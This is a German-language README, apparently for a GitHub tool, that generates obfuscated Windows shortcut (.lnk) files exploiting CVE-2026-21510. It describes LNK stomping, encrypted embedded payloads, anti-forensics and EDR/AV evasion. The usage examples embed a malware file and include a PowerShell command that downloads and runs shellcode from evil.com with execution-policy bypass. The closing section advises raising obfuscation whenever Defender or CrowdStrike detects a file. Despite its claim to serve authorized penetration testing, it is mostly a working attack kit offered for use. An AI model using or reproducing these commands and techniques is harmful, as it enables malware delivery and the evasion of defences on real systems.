
Generiert obfuskierte .lnk-Dateien, die CVE-2026-21510 mit LNK-Stomping, verschlüsselten Payloads und Anti-Forensik für autorisierte Penetrationstests und Red-Team-Operationen ausnutzen.
README EpSiLoNPoInTlnk CVE-2026-21510 - .LNK-Generator Tool zur Erzeugung von .lnk-Dateien unter Ausnutzung der Schwachstelle CVE-2026-21510 (Windows ShellLink Remote Code Execution). Entwickelt für offensive Sicherheitsforschung, autorisierte Penetrationstests und Schwachstellenanalyse.
Rechtlicher Hinweis ⚠️ DIESES TOOL IST AUSSCHLIESSLICH FÜR LEGALE UND AUTORISIERTE ZWECKE BESTIMMT. Jede unbefugte Nutzung gegen Systeme oder Netzwerke würde gegen lokale und internationale Gesetze verstoßen (z. B. Computer Fraud and Abuse Act (CFAA), DSGVO, Loi Godfrain in Frankreich). Der Autor übernimmt keinerlei Haftung für missbräuchliche Verwendung. (Siehe Haftungsausschluss unten.)
Beschreibung Dieser Generator erstellt obfuskierte .lnk-Dateien zur Ausnutzung von CVE-2026-21510, einer Schwachstelle in der Verarbeitung von Windows-Verknüpfungen. Er integriert:
LNK Stomping (5 Varianten: dot, path_segment, relative, double_extension, unicode)
PropertyStore mit zufälligen CLSIDs und PKEYs
KnownFolderDataBlock (zufällige oder gezielte KnownFolderIDs)
EnvironmentVariableDataBlock (Unicode-Obfuskation, dynamische Variablen)
Obfuskation (Stufen 1-5: TrackerDataBlock, ConsoleDataBlock, zufällige Blöcke)
Eingebettete und verschlüsselte Payloads (AES-256-CBC + XOR)
Anti-Forensik (Timestamps auf 0, Dateigröße auf 0, minimale Metadaten)
EDR/AV-Umgehung (legitime Prozesse, obfuskierte PowerShell-Argumente)
Generierung zufälliger Varianten (10+ einzigartige Varianten zur Vermeidung von Signaturen)
Voraussetzungen System OS: Windows (zum Testen der generierten .lnk-Dateien) oder Linux/macOS (für die Generierung).
Python: ≥ 3.10. Abhängigkeiten: pip install pycryptodome
Empfohlene Tools Analyse: PEStudio, Detect It Easy (DIE)
Debugging: x64dbg, WinDbg
Tests: Isolierte Windows-VM (z. B. Windows 10/11 auf VirtualBox).
Installation Repository klonen: git clone https://github.com/EpSiLoNPoInT/EpSiLoNPoInTlnk.git cd EpSiLoNPoInTlnk Abhängigkeiten installieren: pip install -r requirements.txt (Optional) Virtuelle Umgebung erstellen: python -m venv venv source venv/bin/activate # Linux/macOS venv\Scripts\activate # Windows
Verwendung
Basis-Generierung python lnkstomperpoint.py --target "C:\Windows\System32\cmd.exe" --args "/c calc.exe" --output exploit.lnk Erzeugt eine .lnk-Datei, die CVE-2026-21510 nutzt, um calc.exe zu starten.
Erweiterte Optionen Option Beschreibung Standardwert --target Zielpfad (z. B. C:\Windows\System32\cmd.exe) C:\Windows\System32\cmd.exe --args Argumente für das Ziel (z. B. /c whoami) /c calc.exe --output Ausgabepfad der .lnk-Datei ./EpSiLoNPoInTlnk_[TIMESTAMP].lnk --working-dir Arbeitsverzeichnis C:\Windows\System32 --description Beschreibung der Verknüpfung Zufällige Zeichenfolge --unc UNC-Pfad verwenden (?\C:...) False --lnk-stomping LNK Stomping aktivieren True --stomping-variant LNK-Stomping-Variante (dot, path_segment, relative, double_extension, unicode, random) random --obfuscation Unnötige ExtraData-Blöcke hinzufügen True --obfuscation-level Obfuskationsstufe (1-5) 5 --embed-payload Pfad zu einer einzubettenden Datei (z. B. payload.bin) None --encrypt-payload Payload verschlüsseln (AES-256-CBC + XOR) True --anti-forensics Anti-Forensik-Techniken anwenden True --randomize-clsid CLSID im PropertyStore randomisieren True --randomize-known-folder KnownFolderID randomisieren True --obfuscate-arguments Argumente obfuskieren (PowerShell) True --generate-variants N zufällige Varianten generieren 0 --debug Erweiterter Debug-Modus (detaillierte Logs) False
Beispiele
Beispiel 1: Exploit mit eingebettetem Payload
python lnkstomperpoint.py
--target "C:\Windows\System32\cmd.exe"
--args "/c payload.exe"
--embed-payload ./malware.bin
--output exploit_with_payload.lnk
--obfuscation-level 5
--anti-forensics
Erzeugt eine .lnk-Datei mit verschlüsseltem (AES-256 + XOR) und obfuskiertem Payload.
Beispiel 2: Generierung von 10 zufälligen Varianten
python lnkstomperpoint.py
--target "C:\Windows\System32\powershell.exe"
--args "-nop -ep bypass -c IEX (New-Object Net.WebClient).DownloadString('http://evil.com/shellcode.ps1')"
--generate-variants 10
--output-dir ./variants
Erstellt 10 einzigartige Varianten zur Vermeidung von EDR/AV-Signaturen.
Beispiel 3: Minimalistischer Modus (für Tests)
python lnkstomperpoint.py
--target "C:\Windows\System32\notepad.exe"
--obfuscation False
--anti-forensics False
--output minimal_exploit.lnk
Erzeugt eine nicht obfuskierte .lnk-Datei (für Analyse oder Debugging).
Technische Funktionsweise
ShellLink-Header (0x4C feste Bytes + Offsets): LinkCLSID: 00021401-0000-0000-C000-000000000046 (obligatorisch). LinkFlags: Konfiguriert zur Aktivierung von HasRelativePath, HasWorkingDir, IsUnicode usw.
StringData: RelativePath: Zielpfad (mit LNK Stomping, falls aktiviert). WorkingDir: Arbeitsverzeichnis (z. B. C:\Windows\System32). Arguments: Obfuskierte Argumente (PowerShell, cmd usw.).
ExtraData-Blöcke (kritische Reihenfolge): PropertyStoreDataBlock: Enthält PKEY_AppUserModel_ID (zufällige CLSID). KnownFolderDataBlock: Verweist auf einen Systemordner (z. B. %SystemRoot%). EnvironmentVariableDataBlock: Erzwingt die Variablenerweiterung vor dem Mark-of-the-Web (MotW). Obfuskationsblöcke (je nach obfuscation_level): TrackerDataBlock (Stufe 1) ConsoleDataBlock (Stufe 2) DarwinDataBlock, ShimDataBlock usw. (Stufen 3-5)
Eingebetteter Payload (falls --embed-payload): Verschlüsselt mit AES-256-CBC + XOR.
Der Payload wird mit AES-256-CBC verschlüsselt (zufälliger 32-Byte-Schlüssel, 16-Byte-IV).
Eine XOR-Schicht wird mit den ersten 16 Bytes des AES-Schlüssels angewendet.
Schlüssel und IV werden in einem ShimDataBlock für die spätere Entschlüsselung gespeichert.
Tests und Validierung
Die Mindestgröße der Datei.
Die Gültigkeit von HeaderSize und CLSID.
Das Vorhandensein der erforderlichen LinkFlags.
Die Struktur der ExtraData-Blöcke (PropertyStore, KnownFolder usw.).
Ausführung (in isolierter Umgebung): Doppelklick auf die .lnk-Datei und Beobachten des Verhaltens. Process Monitor (ProcMon) zur Analyse der Systemaufrufe verwenden.
EDR/AV-Erkennung: Mit Tools wie Windows Defender oder CrowdStrike testen. Wird die .lnk-Datei erkannt, das obfuscation_level erhöhen oder bestimmte Optionen deaktivieren.